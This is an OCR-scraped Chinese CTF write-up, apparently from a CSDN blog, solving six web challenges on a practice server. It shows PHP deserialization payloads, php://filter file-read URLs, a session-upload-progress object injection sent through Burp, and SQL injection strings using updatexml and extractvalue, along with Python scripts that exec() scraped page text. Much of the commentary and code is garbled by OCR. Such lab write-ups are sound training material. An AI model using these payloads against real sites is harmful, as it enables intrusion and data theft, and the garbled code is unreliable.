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1.easyphp

Hibk: http://120.55.43.255:13005/

FIHEEERTEN, KIshow.php.

< C @ FZ£| 120.55.43.255:13005
IR CTF ROE A, XML hEEE FiE
L"—.

(e ﬂ Elements Console Sources MNetwork Performance Application Memory AL

<html>
<head></head>
ses ¥ shndy —_ T4

<img src="show.php?img=aGludCSqcGe=" width="188%">

<7 oouys

</html:

ZHLJEH — A base64 T &, MEILJENAN: hintjpg


https://lynnlovemin.blog.csdn.net
https://blog.csdn.net/lynnlovemin/category_9406810.html
https://so.csdn.net/so/search/s.do?q=CTF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E7%25BD%2591%25E7%25BB%259C%25E5%2586%2585%25E7%2594%259F&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=i%25E6%2598%25A5%25E7%25A7%258B&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/lynnlovemin/article/details/102758967
https://blog.csdn.net/lynnlovemin/category_9406810.html
http://120.55.43.255:13005/

< C O A&=£| 120.55.43.255:13005/show.php?img=aW5kZXgucGhw

B WA CTF RaiE AR FXRE NEEEE =E

"~

[x ﬂ Elements Console Sources Network Performance Application Memaory Audits Security
<I--?php

require_once( hint.php");
$x = new hint();
isset($_GET['class']) & $g = $_GET['class'];
if (lempty($g)) {
$x = unserialize($g);

echo $x;
}
?-->
html
head></head
w ¥ <body» == $8
img src="show.php?img=aGludC5qcGec=" width="106%
/body
/Shtml

SRR AT AN, BN R F AL R, BATE EWE AN RF I FER B Fpayload, #idclassS¥itE N, 1
HA] AT unserialize i #t, HRERISXBE T,

4k 49w hint.php, 7 15 show.php ] & 2l hint.php 7 ¥R D .

"hint. php’ . encode (" base64’ )
aGludCowaHA=\n




< C  © FZ==£| 120.55.43.255:13005/show.php?img=aGludC5waHA=

35 mA CTF = AT SR hEF e

file)) { if(strchr($this-> file,"\\")==="false && strchr(Sthis->file, '/")===false) show source(dirname (_FILE ).'/".Sthis ->file),
} public function _toString(){return ' ;}} ?>

[w ﬂ Elements Console Sources Network Performance Application Memory Audits Security

<!--2php
error_reporting(@);
J//flag is in flag.php
class hint{
public $file="";
function _ destruct(){
if(lempty($this--->
<html>
<head></head>
v Y cbhody>» == 38
"file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/")===false)
show_source(dirname {_ FILE ).'/'.%this -»>file);
else die( 'Wrong filename.');
T
function _ wakeup(){ $this-» file="index.php'; }
public function __ toString(){return '' ;}}
2

</body>

ZIEE R R R flagfEflag.phpt, 2 #riZ¥EISshow_source®n Hi Bnphplify, & LHEERFIIA
5, BATEMBBRFShintd %, 3 B kfileZs & B Nflag.php,#t 7T LA &= E~flag.phpiEfd, {HE—AF
Fres AL IE AHAT  wakeupERi$, %Rk BE E ¥ifile it B Nindex.php, WAZRAEIMEE HARIAT  wakeupi
B, M —ANIER RIS EE R, O:4: hint"1:{s:4:"file":s:8:"flag.php"}, & hint 1 & F % 2B 11 E
P, BRI ISH2, FHKAS—NEHE, SITRFIMERE)E, BASHIT_ wakeupfi .

< C @ F#£| 120.55.43.255:13005/2class=0:4:"hint":2:{s:4:"file";s:8:"flag.php";}
WA CTF FRETE AT SR rhea® £
<Tphp

#{t1ag {T7734-6c5c26e8648709665bc0Tc-98cdb])

&2

2.calculate2
Bk http://120.55.43.255:13002/

T REE, R— M ENNEE. Rk 10KIEHE R )G kS flag.


http://120.55.43.255:13002/

< C @ F=£| 120.55.43.255:13002

e | CTF ESyahes by SRR /INEBEY THE

calculate

Answer the questions for 10 times and you can get flag.

You Have answered 0i3€questions;

458-252= send!

N IE# B SRR B 2 5 — AN U
< C @ &2 | 120.55.43.255:13002

CEE 2! CTF ESyahes b T S R=E THE

Please answer in three seconds.

RN IE ST WA E SR, KRB RRIFZRE, BEREGFEAEM, ROF3HHEATRIMN AR LIE
HER, XRFEHAPALENT.



import time
from bs4 import BeautifulSoup as BS
import requests
def fun():
url = "http://120.55.43.255:13002/"
headers = {
'Cookie' : 'PHPSESSID=se9bksbg4plk5blhvgmbb9jjml’
}

req = requests.get(url,headers=headers)
a= '
divs = BS(req.content, "html.parser")
for div in divs.find_all('div'):
print div.get_text()
a += div.get_text()
a = a[:-1]
a = 'res =

+ a
exec(a)

print res

data = {'ans':res}

time.sleep(1)

req2 = requests.post(url,headers=headers,data=data)
print reqg2.content

if _name__ == '__main__"':
i=090
while (i<9):

fun()

i=1+1

CAWINDOWS\system32Ycmd.exe

—-181
flag{795c3—eccb932f6a2f74ac0d9013-aTbaT}

04

.netlynnlovemin

3.best_language1
Huhk
STFF AL, R —ANUERS i


http://120.55.43.255:13006/

< C @ FZ£ | 120.55.43.255:13006

CE: CTF Sy Rz AR SRS p=E4 e

Lphp
error_reporting (0]
highlight_file(_FILE_ ).
include( secret_kev.php' )|
if(lempty ($3_GET ["name”1))

farr = array(3_GET["name"], secret_key)
fdata = “Welcome my friend %s7;
foreach (farr as 3k = Jv) |
$data = sprintfifdata, Jv);
)
echo  Jdata:
)
ifl (§secret_key) === $.GET[ kev 1)1

echo “<brryou  get the key<br>”;
$first="aa";

$oce=" amdin’
$1=1,
foreach(3 GET as Jkey = Svalue) |
if($i===1)
{
Fi++
Ffkey = Fvalue:
elze [break;}
}

1f(Ffirst==="u")

echo “<brrshi fu BRE<hHT:”;
$file="phpinfo. php ;

$funce = 3. GET[ function’ ];
call user func($func, 3 _GET);
1f($cce==="Flag™)

echo “<brrtaltaltaltaltql<br:”;

requirel class. php' J;
include($file) ;

else

echo “Can wou hack me?<br>”;

SWSEE, BAEEML Aname, $K18secret_key, nameflisecret keyl | — M FEIF, LT HRIRE
Ja, "EZEIkey,nameREEtEAN%s, F REMRIES —IRIEI Yot & i E 1E [ secret_key.



& C @ F=Z=£| 120.55.43.255:13006/?name="%s
= CTF A AR SRS e ==
highlight_file( FILE_ ).

include( secret_key.php’ J;
if (lempty ($3_GET["name”])) |

farr = array(3_GET["name”], $secret_kev)
fdata = “Velcome my friend %=
foreach ($arr as Sk = $v) |
3data = sprintfiidata, 3v).
}
echo  Jdata;
}
i1f( ($secret_key) === §$_GET[ kev' 101

echo  “<briyou get the key<br>”
Ffirst="aa ;
$cce= andin’ ;

$i=1;
foreach(3_GET as 3key = Fwalue) |
if($i===1)
{
i+,
$fkey = Fwalue:
glse {break;}
1

if(Ffirst==="u")

echo “<brrshi fu BREbT:”:
$file="phpinfo. php’

$func = 3 GET[ function’ ];
call user func(3func, 3 _GET);
if($ccc==="Flag™)

echo “<brrtqltqltqltqltql<br:”:

requirel class. php’ ) ;
include(3file)

echo "Can vou hack me?<br>”:

Welcome my friend th3 k3y yOu cann0t guess2333

Z3keyjs gk, SfirstBEEERINN"aa" BEHATRHEIESR), FEKArstit B N"Y", FHE EmNEHIES,
Yi===18, ¥$_GETHIE —NSHHESvaluelE L $Skey, FEEXERHANSS, Wk Skeyn R Afirst, I
2. 98k =2 $first, X 2wt AT DA 2R $firsti1E .



< C @ F%£| 120.55.43.255:13006/?first=ul&key=th3 k3y yOu cann0t guess2333

i CTF AR 7 T SRS /g g
Jdata = “Welcome my friend %s7;
foreach (Jarr as 3k => v |
$data = sprintf(fdata, $v);
}
echo  $data;
}
10 (Fsecret _key) === F GET[ key' 1)1

gcho “<brryou get the kev<br>”;
$first="aa ;
$cce=" amdin’

$1=1,
foreach($ GET as Skey => Gvalue) |
1t (Fi===1)
{
fi++,
$3key = Fwalue;
elsze [break; }
3
1f(Ffirst==="u")
{
echo “<brrshi fu BEEEr:T
$file="phpinfo. php’ ;
$func = 3 GET[ function'];
call user func($func, $_GET) .
1f(Focc==="Flag™)
{
echo  “<britqltqltgltqltql<brs”:
requirel’ class. php' )
include (3file);
}
3
else
{
echo “Can vou hack me%<br>”;
}

you get the key
shi fu 666

EEfArstSHMLAER A, FHRi===10F K.

XEf, AR KA cccHIfE AF1ag (N REFlag B — R SFlag, 1R&AX, S TRALFHK
ZF1ag) . BAIATLAEE Blcall_user_funcii#, AT LAFIHZREERA R — AR, HEH S ccclE, phph
extractpf BUR T L BLZ MR, TRMiEpayloady: http://120.55.43.255:13006/?
first=u&&key=th3 k3y yOu_cannOt_guess2333&function=extract&ccc=F1ag


http://120.55.43.255:13006/?first=u&&key=th3_k3y_y0u_cann0t_guess2333&function=extract&ccc=F1ag

& 5 C O T2 | 120.55.43.255:13006/ ?irst=ul&key=th3 k3y y0u cann0t guess2333&function=extract8lccc=Flag

CTF Ty AR SXFE e Hig

echo  “<britoltaltoltgltqldbr>”;
require( class.php’);
include (§tile);

echa “Can you hack me?<br>”;

you get the key

shi fu 666

tqltgltqltgltgl

Php

System Linux 5b72c158{374 4.15.0-52-generic #56-Ubuntu SMP Tue Jun 4 22:49:08 UTC 2019 x86_64
Server APl Apache 2.0 Handler
Virtual Directory Support disabled

B LRSI, i Tincluder®$, mTLAZEXHEE, EFclass.phpfIdEig.

&« > C O T2 120.5543.255:13006/?first=u&8key=th3 k3y yOu cannOt guess23338&function=extract&ccc=F1ag&file=php://filter/read=convert.base64-encode/resource=class.php w « & 0

CTF B BT SRR R iR
T
it( (§secret_key) === 3$GET['key 1) {

echo “<briyou gzet the key<or)”:

Gtirst="aa’ ;

Foce=" amdin’ |

toreach(d GBT as Fkey = Jvalu) |
if(gi===1)

$i++;
$Pkey = Gvalue;
3
else (break;}
if (Jfirst==="u")
{
echo  “<brishi fu 666<br>”;
§iile= phpinfo. php';
Ffune = §_GET[ fumction’];
call_user_func(§func, §_GET)
11 (Jece==="Flaz")
{
scho  “<brrtaltqltqltaligl<br>”;

require (" class. php’ )
include (§£ile);

else

echo “Can you hack me?<br>”;

you get the key

shi fu 666

tqltgltgltgltgl
PD9waHANCmluaV9zZXQoJ3NIc3Nph24uc2VyaWFsaXplX2hhbmRsZXInLCAncGhwlyk7 DQpzZXNzaW9uX3NOYXJOKCk7DQpjhGFzcyBNb25pdGoyIHsNCiAgICBwdWIsaWMgJHRIc3Q7DQog I CAgZnVuY

@1 b fbase64, wJEF|class.phpIiEig.



G FeHelper: FRENME=

GxhY2Uoli9bPD4gO3w/XG4gXS8ILCIILCRzdHIpOWOKICAgGICAGICAKC3RYPXNOCI9yZXBsYWNIKCevLidvdywnJywke3RyKTsNCIAgICAgICAgJHNOc1z - +
dHJfemVwbGFjZSgnLi4vJywnJywkc3RyKTsNGiAgICAgICAgemVOdXJulCRzdHI7TDQoglCAgGFQOKICAGIGZ 1bmNOaWaul GdldFakaXloJHBhd GgpewOKl
CAgICAgICBwemludF9yKHNjYW5kaXIoli90bXAILIRWYXRoKSk7DQoglCAgFQOKDQogICAgZnVuY 3Rpb24gZXhlY3V0ZSgplHsNCIAgICAgICAgaWYgK
GluX2FycmF5KCR0aGIZLT5tZXRob2QsIGFyemFSKCJINZXRIZGIylikpKSB7 DQogICAgICAgICAGICE] Y WxsX3VzZXJfZnVuY19hcnJheShhcndheSgkdG

hpecywgJHRoaXMtPm11dGhvZCksICgkdGhpey0+YXJnoykpOwlKICAgICAICBIDQ0gI CAGIQOKDQoNCNONCOKPZANCg== 4

© Unicodefinzz © UnicodefZ=2 © UTF8/URLIMZER © UTF8/URLER=: O GzZipilZ O Gziphg= O HTMLEEJS

© UTF160023 O UTF16##E O Baseb4/2F @ Baseb4fZEF O mdSIIEE O HexfilEE O Hexiis: ‘—|
<?php =

ini_set('session.serialize_handler', 'php');
session_start();
class Monitor {
public $test;
function __construct() {
$this->test ="index.php";

J

function __destruct() {
echo "<pr>file:" .$this->test."<br>";

WIS VRRS, AT DLANESE A R sessionfil R R FFIA, PATIRAZR S261kMonitorst &, #E_ destructd
PATWelcomext %, it WelcomeF ki FiCome, ffH i iTexecuter .

BAITFT LA phpiyPHP_SESSION_UPLOAD_PROGRESSHL#| . & S614i& 4= H 32 5.4 :

<form action="class.php"method="POST"enctype="multipart/form-data">
<input type="hidden"name="PHP_SESSION_UPLOAD_PROGRESS"value="123"/>
<input type="file"name="file"/>
<input type="submit"/>

</form>

FTFBurpSuit, BEE _EE—ANSCH, WERFIIFEFFS, HBurpSuitkfilename iz F /75, BHIRIAT .

> C © 3% | C/Users/lynn/Desktop/index.html

i WA CTF FREE AR SEXME B g

M timg jpg =L

Wit R FE LB N |O:7:"Monitor":1:{s:4:"test"; 0:7:"Welcome":2:{s:3:"obj";0:4:"Come":2:
{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:43:"/..../1..../[...1I... 1] ...[Ivarlwww/html";}}s:3:"var";s: 7:"success"; }}



Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz
Burp Intruder Repeater Window Help

[Target W Proxy ] Spider [Scanner [ Intruder IRepeaterISequencer [Decoder [ Comparer [ Extender [Project options WUser options [Alerts [SQLi

Lo ] coma [<1v][>17]

Target: http://120.55.43.255:13006 | # | 2

Host: 12055.43.255:13006
Content-Length: 730
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

Origin: null
c Type: multip -data; bound WebKi QbBSFCVAXnORUNF

User-Agent: Mozilla/5.0 (WVindows NT 10.0; '\Win64; x64) Apple\WebKit/S37.36 (KHTML, like Gecko) Chrome;77.0.3865.120 Safari/537.36
Accept: text/himl, fon/<html-+m, 10=0.9, image/apng /= =0. i - 1geN=b:

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zhiq=0.9,2h-TW;q=0.8
Cookie: PHPSESSID =se3bksbgdplkSbihvgmbbjim1
Connection: close

7|------WebKitFormB oundaryQbBSFCV1XnORJUNF
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

3SABE" s foanf Lo [l [l [0 Sy html "3)s:3:

| content-Disposition: form -data; name = "file”; filename="1.t<t"
=/| Content-Type: text/plain

Jo7:"M: bj",0:4:" Come":2:(s:6:" A far favn/htmi "3

'success ) E
WebKitFormB oundaryQbBSFeVIXnORJUNF--

5
v

0 matches

? B EJ EJ Type a search term

Done

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
POST /class.php HTTP/1.1 4 HTTP/1.1 200 OK %

Date: Fri, 25 Oct 2019 03:05:48 GMT
Server: Apache/2.4:18 (Ubuntu)

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-stare, no-cache, must-revalidate
Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 477

Connection: close

Content-Type: text/html; charset=UTF-8

phpinfo.php

ceeret_key.php

sess 3sihklcri75kap91 buBpvnurés
sess 58mqBq2adh82f98su17jql5a96
19] => sess_Skgrc7kn1 rep2pOkouqs9osfrs
[10] => sess 686k04rnqia35a200vgBq3jt70
[11] => sess_gcTfelqmjkajol lvpOulome6al
[12] => sess oc2j4nfmngmrub uigkinuk5gf6
[13] => sesc_ <27uuBe8edjfel unoacnhSmeh3

<br>file:success<br>

C
vh

0 matches

? B B EJ Type a search term

778 bytes | 195 millis

SRS, FOON A SO A 3RS flag.
http://120.55.43.255:13006/?

FOPX.

first=u&key=th3_k3y_yOu_cann0t_guess2333&function=extract&ccc=F1ag&file=php://filter/read=convert.baset

encode/resource=7his_1s_F1aG

'l 1 | r
< C Q Fz=z | 120.55.43.255:13006/?first=u8tkey=th3 k3y yOu cann0t_guess2333&function=extract8tccc=F1ag8tfile=php://filter/read=convert base64-encode/resource=7his 1s FlaG
i A cTr = ki SRS ebgy =8
e
if( (fsecret key) === §GET['key’ 1) {
echo  “dbrdyou get the key<brd”;

Gfirst="aa’ ;
Jooc= amdin’ ;
§i=1;
foreach($_GET

=> §value) |
)

Gitt;
Gfkey = Jvalue;

else{break;}

}

i{f ($first==="u"
echo “{brishi fu A6AEETS”,
$tile= phpinto. php'
$fune = $_GET[ function’];
call_user_func($func, §_GET);
i{f($ccc:::”F1ag”)

echo  “<brrtqlitqltgltqligl<br>”;
require (' class.php’ )
include (§file)
}
}
else
echo “Can you hack me¥<br>”;
}

you get the key

shi fu 666

tqltgltgltqltgl
ZmxhZ3s0MDAQYyTkMzcxMzNhNzdmMWZjYTdiYmQ1OGItNGIzYjZjfQo=


http://120.55.43.255:13006/?first=u&key=th3_k3y_y0u_cann0t_guess2333&function=extract&ccc=F1ag&file=php://filter/read=convert.base64-encode/resource=7his_1s_F1aG

'jZjfQo=". decode (" base64’ )

4.babysql
Mihk: http://120.55.43.255:13004

TPt G RAN G R E, FEEMAR 2%, #RxFlagslf£admini) %%, % —&BRE®EE Eadmini) %
i, FHllsqliEa):

select * from user where username = '$username’ and passwd = '$passwd', T A% & & # 55, username
F\,passwd N||1#, #i&EJ5EHIsqliEf)N: select * from user where username '\' and passwd = '||1#', XA} fhiR
< C O 72| 120.55.43.255:13004/login.php

: WA CTF REHE i N =Xk EEF HiE

isitor

[5]

YLBA P R E— A oRvisitor, FEEFTBIEN, BRAITTEMZadmin, 7] LAFFIadminB %7 )5 H 2

t1, passwdifit||id>1#, BEAFIRE T admin. #BadminfE s & ¥R, ERRINEHFNHENY, FHEHWENE
passwdifIFfF 8, #inhacker, KItKpasswd& T, JEHME|| id> 1 union select 1,1,1#, &[T
admin, & ¥lunion select®] LA, MEFFATAT FHF] FHunion select BiE#1Y, FllpasswdZFEsqliE A=
%, ¥jitpayload: || id > 1 union select 1,1, order by 3 asc#, ERBIEHE =% (LM EFEHF) HF, &
ANZRNTRIAEE, WERIREadmin, ViEHZEDN RO, SEART—ANFRE, BEERNT, ZERFBAN
PR L BTAL, KKK, BIEE —ANFH (BE—ANFRRNLHENRNZRER—6) , REHE3
KA. ¢591cd7aa9882549¢c96ccd7de997633d.

(REA WEEpythonlilA, AFTEE, —HI2NFFK, SOLEE TRE BB 81T Spythonflid, BIE)
5.calculate1
#dk: hitp://120.55.43.255:13001/

%8 H Mcalculate2244el, pythonfiAn T -


http://120.55.43.255:13004/
http://120.55.43.255:13001/

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
from bs4 import BeautifulSoup
import time
def fun():
headers = {
'Cookie’: 'PHPSESSID=8cb3ilih9se2sméonjkbo81jf2"
}

get = requests.get("http://120.55.43.255:13001/",headers=headers)

content = get.content
soup=BeautifulSoup(content, "html.parser")

text = soup.form.find_all(text=True)[@].replace('\r',"'").replace('\n',"")

one

int(text[0:3])
two = int(text[4:7])
op = text[3:4]

result = @

if(op == "+'):
result = one + two

elif(op == '-"):
result = one - two

elif(op == "*"):

result = one * two
else:

result = one / two
print result
time.sleep(1)

post = requests.post('http://120.55.43.255:13001/"',data={"ans':result},headers=headers)

print post.content
if _name__ == '__main__"':
i=290
while (i<10):
fun()

i=1+1

112173
®11ag{70cdd-6h

p>Answer the questions for 10 times
> You Have answered 1#1€ questior

form action="" method="
99+184=

input typ ” name="ans” >
i t type="submit” value= send!

6.easysql
Hhhk
Ttk 5, $R7Rid is not in whitelist, JRF A

log.csdn.net/ly

2id=1, HIT EMHSE.


http://120.55.43.255:13003/
http://120.55.43.255:13003/

< C @ 22| 120.55.43.255:13003/7%id=1

iR CTF fESrar A, SXERS hEaF iR

//index.php //config.php

id 1
name Lucy

email |Lucy@ichugiu.com
salary 3000

ZEsqliEN, & Blunion or concat select insert updateZs Al ¥ gt v, BEEEMAN—NFER, RIARE,
ZRERREEN.

<« C © A2 | 120.5543.255:13003/%id=1%20ss ® % @ !

i A TF =EE R SRR =t e

/index.php //config.php You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'ss' at line 1

45 EN — B R updatexmlfllextractvalue B~ i %, F &, #i&payloadh: and
updatexml(1,make_set(1]2,0x3c,(SELECT flag from flag),0x7e),1)83 and extractvalue(1,make_set(1|2,0x3c,
(select flag from flag))).

&« (N oI =N I PIETY ERLLR ENETRGEIP®llan d %2 0extractvalue(1,make set(1]2,%200x3c,%20(select%20flag%20from%20flag)))|

EEIr CTF skt AT FxmE EE HE

//index.php //config.php XPATH syntax error: '<,flag{3fe3200ea9f64086040fe8abe’

WEEN —IRTER T a flag7 7 s B R, 752 Blsubstrif £ P 4R .
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